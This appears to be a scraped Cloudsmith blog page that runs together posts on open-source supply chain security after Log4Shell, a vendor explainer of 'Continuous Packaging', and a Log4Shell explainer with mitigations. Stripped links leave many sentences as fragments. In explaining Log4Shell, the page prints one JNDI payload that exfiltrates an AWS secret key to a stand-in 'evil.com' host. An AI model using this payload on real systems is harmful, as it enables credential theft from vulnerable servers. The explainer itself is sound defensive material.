By submitting this form, you agree to our 

Getting Started with Terraform Modules and Cloudsmith

A quick walkthrough of getting set up with a private repository for Terraform Modules on Cloudsmith, including uploading and downloading modules.

Dan McKinney

Solutions Engineer

Who would have thought software could rattle the White House? But a vulnerability in Log4J, a popular open source software project, exposed critical digital infrastructure to remote code execution attacks. This prompted the US Government to engage big tech, infosec professionals, and open source organizations to come together to help secure open source software.

Threats in commonly used open source software (OSS) is the stuff of nightmares. Ransomware attackers have started 

 campaigns for vulnerable versions of the Log4j packages. 

 from 2020 exposed that a vulnerability called Heartbleed is still exploitable even though a patch was released promptly in 2014. Vulnerabilities have a very long tail - Log4Shell is likely to be a threat for years.

OSS is incredibly positive - without projects like Docker, Kubernetes, Debian, NGINX, Apache, or others, technological innovation would be painfully slow. Its innovation, ease of use, and zero cost meant that nearly every piece of software contains OSS. OSS is everywhere, including data centers, e-commerce, phone networks, mobile devices, and power stations.


OSS is here to stay, and securing open-source supply chains will require a combination of developer-focused tooling, an increase in automation, education, collaboration, and support for OSS maintainers.

The US Government’s response to Log4Shell

Efforts underway to secure and build trust in OSS

How you can secure your software pipeline

Why package management is essential to secure your supply chain

Severe vulnerabilities in commonly used OSS that are easy to exploit have wide-reaching effects.

The Cybersecurity and Infrastructure Security Agency Director, Jen Easterly, called Log4Shell “the most serious vulnerability I have seen in my decades-long career.”

Severe vulnerabilities like Log4Shell are not new. Heartbleed was a vulnerability from 2014 that we still feel the ripples of today.

OpenSSL is an OSS project used by virtually every company in the world. On 7 April 2014, OpenSSL's Heartbleed bug was publicly disclosed as 

 and fixed. The vulnerability, which had been shipped in OpenSSL, made it possible for hackers to retrieve information such as credit card numbers, cryptography keys, and user credentials right through to private documents and communications from what was meant to be secure transactions. 

 from 2020 exposed that this vulnerability is still exploitable even though a patch was released promptly in 2014.

In the wake of the Heartbleed vulnerability, 

 was set up to improve OSS security. The CII has since been replaced by the 

Open Source Security Foundation (OpenSSF)

, is a general and commonly utilized logging framework used by Java developers worldwide. Log4Shell landed December 2021- a critical vulnerability in Log4j, published as 

, that could lead to Remote Code Execution- a 10 out of 10 on the risk factor.

 and released additional functionality to 

 such as log4j across packages stored within Cloudsmith repositories.

 campaigns for versions of the Log4j packages vulnerable to Log4Shell. The Log4j vulnerability is likely to be a threat for years.

Developers and organizations can run scripts and scanning tools to assess their exposure to Log4Shell and upgrade to mitigate against this vulnerability. It's another reminder of how critical software supply chain security is and how great the exposure can be when a critical exploit emerges in the wild.

. This kickstarted the use of SBOMs, a flurry of new projects to protect the supply chain, and the rise of OpenSSF. New companies like 

 were created, focusing on securing software supply chains.

Early this year, in the wake of the vulnerability exposed in Log4j, 

 government and private sector stakeholders to discuss how to improve the security of OSS as it is “a national security concern.” The guest list included representatives from big tech companies and open source organizations - Akamai, Amazon, Apache Software Foundation, Apple, Cloudflare, Meta, GitHub, Google, IBM, Linux Open Source Foundation, Microsoft, Oracle, RedHat, and VMWare.

 discussed the Log4j vulnerability and how to prevent open source vulnerabilities in the future. Dr. Trey Herr’s, Director of Cyber Statecraft, testimony about the importance of establishing a model where maintainers are supported to ‘fund the mundane’ was echoed throughout the Senate hearing.

 the top 100 maintainers to set up two-factor authentication

OpenSSF, with support from Microsoft and Google, announced 

 to improve software supply chain security for OSS projects with an initial investment of $5 million.

 - one bill to train federal officials on managing risk in the software supply chain, and another bill to help officials coordinate with other agencies on matters relating to vulnerability disclosure programs, information sharing programs, and improvements to election security infrastructure.

The US Government has effectively used its soft power and is willing to use legislation to help secure OSS.

There has been a massive effort by OSS foundations and the wider OSS community to help maintainers and consumers of OSS build secure software.

 hosted by the Linux Foundation. The OpenSSF is a cross-industry organization that brings together the industry’s most important open source security initiatives and the individuals and companies that support them. Other foundations that have contributed to improving OSS security include 


The collaborative effort and the progress made in the last year have been encouraging. Securing the software supply chain is an area that is still in flux, and the projects that will be used in builds are yet to be decided - the proof of the pudding is in the eating!

The whole point of signing a package is to 

 that a package is safe to download or use as a dependency. When OSS maintainers sign their packages, it allows people downloading them to know they are official and haven’t been tampered with. Until recently, this process has been costly and required maintainers to manage keys and code-signing certs. 

 is a set of tools that developers, software maintainers, package managers, and security experts can use for signing, verifying, and protecting OSS. Its goal is to remove the effort, time, and risk of error that comes with more traditional ways of signing.

Other tools, frameworks, and formats that increase trust in builds and artifacts include:

, a framework to secure the integrity of software supply chains

 is a tool for building artifact trees that can be used with SBOM formats such as SPDX

, a tool to prevent tampering of build materials and verifies the integrity of the build process

, a framework for securing software update systems

 is an attempt to standardize existing approaches to reliably identify and locate software artifacts.

Provide visibility into the "ingredients" of software through SBOMs

The Software Bill of Materials (SBOM) lists all components, including licenses and dependencies contained in a software product and other data, including checksums. Work has been ongoing into specifying the formats of SBOMs, with 

, and tools to generate and inspect SBOMs. There are several benefits to SBOMs:

An SBOM in a known format like SPDX or CycloneDX helps drive automation and trigger security alerts.

An SBOM can be inspected to see if there are any CVEs detected in its dependencies.

The end-user of software can use the SBOM to perform vulnerability and license analysis of their software packages to evaluate risk in a software product.

SBOM helps track dependencies more easily and quickly so that vulnerabilities are easier to find and fix.

 in February “to improve software supply chain security for OSS projects through direct engagement of software security experts and automated security testing.” Microsoft and Google have supported this project with an initial investment of $5 million.

NPM has Enforced 2FA for the top 100 OSS maintainers.

 in PyPI to improve the software supply chain security ecosystem, like setting up 2FA, creating a security advisory, and integrating with The Update Framework.

Work on tracking open source vulnerabilities by GitHub Security Advisories and OSV which is a vulnerability database for open source projects.

OpenSSF, NTIA, OWASP, CNCF and others have created materials and set up 

 to make sure they are supported to maintain updates to a certain baseline level.

The Scorecards project gives consumers of open-source projects an easy way to judge whether their dependencies are safe.

Supply chain Levels for Software Artifacts (SLSA)

, is a security framework backed by Google to prevent tampering, improve the integrity, and secure packages and infrastructure in your projects, businesses, or enterprises.

It's hard even to know what OSS is packaged up in your software, especially when considering transitive dependencies. Developers and Security Engineers need developer-friendly tools to help them increase automation to remove the potential for human error, assess their level of risk by providing visibility into what OSS they depend on, and tools to help them control, mitigate and remediate any risk they do have in their supply chain.

Developers and Organizations can do several things to protect their supply chain:

​Enforcing developers to have multi-factor authentication and strong passwords is an easy win to secure your supply chain. Using tools that accept SAML or passwordless can improve security.

Maintaining an accurate inventory of third-party software components and open source dependencies, a software bill of materials (SBOM), ideally in a known format like SPDX or Cyclone DX.

Developers should pin their builds to specific versions to protect against attacks on the supply chain such as 

Use scanning tools at source, during the build, and at packaging to detect vulnerabilities.

If you use OSS, bring those packages into your 

, where you can test/scan against them. Cloudsmith advocates for only exposing development repositories to external public feeds. You can then promote to a production repository with no public feeds after adequately testing and scanning your packages for vulnerabilities.

Integrate with new tools to sign OSS packages in a meaningful way like Sigstore

Bring packages into your private repositories to ensure your OSS packages' high availability and protect against outages on public repositories.

Ultimately, ​developers and their organizations should have a single source of truth for software assets so there is one place to:

Streamline automation for your development teams

Package management is central to securing your supply chain

Cloudsmith is a hosted package management service. We securely store your packages in a 

 and to make it easy to automate and integrate your artifact registry with your existing CI/CD pipeline.

Having a single source of truth for your software artifacts is central to securing software supply chains. Cloudsmith’s private 

 support many package formats and provide one place to track, manage, distribute and understand all software pulled into your stack. A central trusted store forces you to apply processes and controls to that ingress/egress of software packages.

Security is paramount at Cloudsmith as we understand package repositories need robust security features and policies to prove they are trustworthy. That's why:

vulnerability disclosure and Bug Bounty program

Cloudsmith’s platform has high availability and redundancy. We host Cloudsmith across multiple data centers and multiple regions, with redundancy built-in at each layer of the service and platform.

Cloudsmith provides robust access control with 2FA for distribution and development.

Cloudsmith offers support for Single Sign-On (SSO) at the organization level using Security Assertion Markup Language (SAML)

Cloudsmith provides logs, and Metrics API for observability into what is happening with your packages.

 in your software supply chain, including your OSS 3rd party dependencies, by surfacing your package metadata informing you about the package checksums, how and who built your packages, and what dependencies are in your packages. Cloudsmith also isolates and protects your software supply chain from 

 sources like Maven Central by proxying or caching your OSS artifacts.

Expanding the ways we help you secure your supply chain

Cloudsmith already helps developers and organizations isolate their software from public OSS feeds, extracts meaningful information from your packages about its dependencies, and allows you to control and visualize all that information in a central location.

Throughout 2022, Cloudsmith will focus on becoming the best solution for organizations looking to secure their software supply chain by focusing on three areas:

Assessing an organization’s level of risk and providing actionable data to an organization to better secure their supply chain

Providing tools that allow security teams to manage risk without slowing down their developers. We will enable security teams to block threats from entering their supply chain, and respond quickly when incidents within the industry do occur by having that single pane of glass to understand the impact.

Integrations with the ecosystem of tools and standards to improve OSS security include sigstore, SLSA, package URL, The Update Framework, in-toto, OSSF Security Scorecards, and more.

At Cloudsmith, we love OSS and have enormous respect for maintainers. Cloudsmith also provides zero-cost 

. We see ourselves as an essential stakeholder in securing the software supply chain. We are pushing to integrate with emerging tools that make it easy for our developers to know what is in their supply chain, and that makes it easier for developers to be secure by default.

2022 will be a defining year for progress in the security of your 3rd party OSS dependencies.

If you're looking for a simple solution to secure your software artifacts, you can sign up for a 

 and set up your first repository in just 60 seconds.

Ciara Carey

Efforts to Secure OSS fired up after Log4Shell

Continuous Packaging (CP) is a term that we have coined here at Cloudsmith, and it is one that we think will become a cornerstone in a secure software development process.

Cloudsmith's Ciara Carey and Dan McKinney have partnered with O'Reilly to introduce the world to Continuous Packaging (CP), and how teams can implement CP into their software supply chains.

Explore the current state of software supply chains.

How developers can identify risks in their own supply chain.

Why CP is critical to secure CI/CD pipelines.

Otherwise, continue reading below to discover the fundamentals of Continuous Packaging!

When you think of modern software development workflows, you typically think of DevOps – and that involves continuous integration (CI) processes and continuous deployment or continuous delivery processes (CD).

These processes evolved to accelerate and improve the task of developing and delivering software at scale. They provide increased velocity, reliability and security through automation, controls and closing the gap between development and operations. Software isn’t “thrown over the fence” anymore when it goes into production. The process is end-to-end, from development right through to deployment or delivery.

As an industry, the adoption of modern DevOps processes like this has brought with it great rewards. Companies can grow faster, ship quicker, delivery of updates can be streamlined, and any issues, bugs or problems can be addressed with less delay.

Not quite! Let’s roll back a bit to the beginning.

Typically, you start with your source codebase. Your CI processes take this and build it into a set of artifacts, images or packages that your CD processes can then deploy to infrastructure or deliver to your customers.

So, there is something that CI and CD have in common, and that is software artifacts, images, or packages. These are the output of CI processes and the input for CD processes.

And this is where continuous packaging comes in. We see CP as a glue layer that sits between and overlaps CI and CD. To build secure software development pipelines using a DevOps methodology, you need the ability to universally store and deliver packages securely and efficiently across all package formats and languages.

It’s unlikely that you would use multiple source control tools or multiple CI or CD tools. You settle on the best-in-class tool for the task, and package management needs to be the same. CP should be a checkpoint - a layer that all packages, images, and artifacts used in and produced from your build processes and your deployments need to pass through. That layer is what empowers you and provides you with the control and visibility that you need.

And that is what it comes down to - At its core:

Continuous Packaging gives your teams security, control, visibility and management over incoming and built assets.

There is an ever-increasing focus on software supply chain security, and rightly so. Recent events have shown that attacks on the software supply chain are fast becoming the number one method that threat actors are employing to breach organizations and users’ security.

And why is this? Well, it’s because it’s a highly effective way to get malicious software distributed to many targets. These targets are increasingly aware of traditional attacks and have been educated to defend against them. What better way to gain entry to a target than through a legitimate update mechanism from a vendor or through a compromised software package that gets used in a build?

Software supply chain attacks manipulate the trust that users and companies place in vendors and the trust that developers place in code that they import or use from public registries and repositories.

So how exactly does CP provide you with that security, control, visibility and management? Well, to break things down a bit further, some of the key benefits of CP are:

Isolation – which gives you control and visibility

Provenance – Which provides you with security via a chain of trust

Acceleration – Which gives you low latency performance for your teams

Provenance is the ability to verifiably prove, using things like package checksums and cryptographic signatures, that software assets are what they say they are and are from who they say they are.

Continuous packaging is about providing a verifiable “Single Source of Truth” for all packages, images, or artifacts consumed or produced during your CI processes. It helps you protect your users and customers by building and shipping clean software only.

Up until now, at Deploy time, there are additional steps when pulling in other dependencies – there is a hole in the provenance chain, a gap to be filled, and having that single source of truth closes that gap.

It’s generally accepted that a lot of the software you run is built by someone else; it’s open-source or built on open source.

It’s a widespread practice in software development to use and depend on public packages - packages from a public repository and by connecting directly to a public repository, you open the door to possible attacks. This has already been demonstrated as an attack vector through Dependency Confusion attacks and the Codecov breach.

Continuous Packaging gives you a protective layer between your teams and public repositories; it defines isolation as the ability to cache packages away from public upstreams. Just some of the benefits this provides are:

- You control package availability. In the event an upstream becomes unavailable, you can continue to build and deploy.

- Protection from Vulnerabilities. If a vulnerability appears in a new version of a package, you have previous versions you may be able to roll back.

- License Management. If a Licence changes, you have the current version, same licence, no immediate impact, gives you time to prepare.

Now, these upstream packages are held in your environment, which brings them under your control. They can form the backbone of your software bill of materials. It provides security teams with an overall view of how packages get used, where they come from and where they are deployed.

We now live in a remote-first, distributed world. Development teams are more distributed than ever before. And not just teams, individual team members are now distributed. Development, Operations, Security – these are all now work-from-home jobs, if not all of the time, then a lot of the time.

So now, more than ever, we need tools that promote strong collaboration and provide a uniform experience - no matter where in the world you are located.

Package Management is a very chatty interface from client tooling running on local machines or build hosts, to package repositories on servers located elsewhere. There is a real need to reduce and minimise the communication times between where you, or your distributed infrastructure, are located and where the artifacts reside.

So, the task is to implement package management globally, providing every team and team member with an optimal, normalized experience. And you need this while also providing universal support for all the artifact types and formats you use. No small task!

At Cloudsmith, we developed what we call the Package Delivery Network, or PDN. It’s like a highly customised version of a CDN because it’s more intelligent and more context-aware. It knows that it deals with packages, software artifacts, and client package management tooling and is built specifically for software distribution, not general content distribution, at the edge.

A PDN means that whatever your team’s location, they all get the same low latency experience. There is no optimal site or location. This helps to foster that collaboration and facilitates the distributed nature of software development today.

Well, there is good news here. You have probably already started!

If you're still curious on uncovering more about CP, download our report: 

 which covers everything you need to know about CP, and how to start implementing it in your organization today.

Package management is the core component of Continuous Packaging, and you are likely doing this in some form already. Even if you don’t have a fully automated CI / CD pipeline in place just yet, developers will be pulling packages from repositories and creating packages when building (even locally).

What is essential is to bring all this together with a single source for software artifacts, a source that you control. You should employ a best-in-class, cloud-native tool for package management, one that provides 

, controls and availability, so that you can realise the benefits of Continuous Packaging.

Cloudsmith is the most cloud-native, universal package management service on the planet, but don't just take our word for it.

, and experience the benefits of introducing Continuous Packaging into your CI / CD pipeline.

Your development teams, security teams and perhaps most importantly your customers, will thank you for it.

Getting Started with Continuous Packaging

This article discusses the background, impact, identification, and mitigation of 

, one of the worst vulnerabilities to arise in the past decade. Here at Cloudsmith, 

 are paramount. As a hosted package management service helping customers distribute millions of packages worldwide, we're part of the story for securing software supply chains. Read on further to learn what log4shell is, see how the log4shell vulnerability works and what you can do to protect yourself and your users.

, is a general and commonly utilized logging framework used by Java developers worldwide. The framework allows developers to log data (including user-sourced information) in their applications.

 severity Remote Code Execution (RCE) exploit disclosure 

 to imply that exploiting it resulted in a shell (login) on a server.

Due to the widespread deployment of Java applications 

, many sources have characterized the exploit as one of the most impactful last decade. For example, 

 described it as the "single biggest, most critical vulnerability of the last decade".

Before disclosure as CVE-2021-44228, the exploit entered the collective mind space of developers everywhere as a Minecraft-specific attack, utilizing crafted strings to execute code on the Minecraft server. As shown in the 

However, as hinted in the above tweet, it was suspected at the time that the extent of the impact had far-reaching consequences beyond Minecraft alone. Then, following disclosure, CVE-2021-44228 confirmed the alleged impact on servers and services worldwide.

, CEO of Cloudflare, they found evidence to suggest that the earliest known attacks seen by them started on 1st December 2021. The evidence indicates that it was "in the wild" for at least nine days before the public CVE disclosure.

Since the disclosure, some of the major enterprises that have been affected by this include Apple, Amazon, Cloudflare, Steam, Tesla, Twitter, and Baidu. Therefore, the possibility is high, regardless of whether you are directly impacted or not, that someone in your supply chain potentially is or has been already.

 bad, or instead, as bad as possible (or perhaps, even worse). The exploit affects 

Common Vulnerability Scoring System (CVSS)

 score of 10 (the highest available) because the exploit enables both full Remote Code Execution (RCE) and data exfiltration.

 performs network-based lookups of objects from URLs using the 

Java Naming and Directory Interface (JDNI)

 (LDAP), which can retrieve data from arbitrary URLs for evaluation and execution, either local to the server or remotely.

 will perform string interpolation (substitution) for special lookup variables in the form of 

. Using the JNDI, with an expression such as 

, it then becomes possible to load and execute arbitrary code from 

 (a well-known networking utility) to open a listening socket that reflects data to an exploitable server. If the data returned is 

 well-crafted JNDI data, then it will be evaluated as code executed in the context of the application's environment. Visualization provided by the 

The result of the above code execution is that attackers can run any piece of arbitrary code that they choose. It will run in the same context as your application, enjoying all of the same access and privileges. The practical (but malicious) outcomes are almost limitless, from the "simple" database dumps, login shells, botnets, unsolicited spam, etc., through to the dangerous (e.g. targetting public infrastructure).

Beyond the use of JNDI LDAP, additional protocols may be subject to exploitation, such as 

 JNDI LDAP to RMI attacks, resulting in more sophisticated payloads. So the risk remains high.

Although a setting can mitigate code execution, it is shown by 

 still possible to exfiltrate data with other techniques, such as interpolation into DNS lookups. For example, the expression 

${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com}

, if evaluated, will exfiltrate the contents of the 

Therefore, despite the assistance of mitigations other than version upgrades, such as implementing rules in Web Application Firewalls (WAFs), disabling JNDI URL-based lookups, or even controlling egress from servers, there is still a considerable risk of impact. The best mitigation route is to upgrade dependencies, shut down (block) installations of impacted 

 versions, and examine servers for existing exploitation.

 was assigned a CVSS rating of 10 (again, the highest possible) is that:

 library is highly commonly used and widespread in the Java community.

The attack enables Remote Code Execution in the context of servers and applications.

It also allows data exfiltration, in which bad actors can steal server-side secrets.

It is reasonably easy to exploit, with little practical knowledge required to do so.

Mitigations other than version upgrades (which aren't always easy) don't fully protect.

Therefore, the attack surface area is unfathomably large and carries a similar impact.

So yes, as stated by others in the community, this vulnerability is one of the most significant and most impactful ever seen. As stated by Sophos, it is (sadly) ironic that the data being logged is probably for auditing or security purposes. However, now is the time to do everything in our collective power to protect our servers, applications, users, businesses, and even our entire ecosystem.

It's a tough ask, but we're here to help.

 have been released to mitigate the vulnerability, in the form of the 

 have known Denial of Service [DoS] vulnerabilities, cited in 

. Therefore, the current (as of 21st December 2021) recommendation for mitigation is to update 

In all use-cases, identification of affected software will involve examining packages for dependencies on 

Cloudsmith Blog

Getting Started with Terraform Modules and Cloudsmith

Efforts to Secure OSS fired up after Log4Shell

Getting Started with Continuous Packaging

All About Log4j/Log4Shell + Mitigation (CVE-2021-44228 and Beyond)

Improvements to Dart Package Support

Package Management for Gaming Software Development

Private Package Repositories Part 2: The Influencers

th3_GR1NCH who wanted to steal Christmas

Cloudsmith is ISO27001:2013 Certified

Cloudsmith Not Impacted By CVE-2021-44228 (log4shell / log4j)

Cloudsmith By the Numbers 2021

Getting Started with Helm and Cloudsmith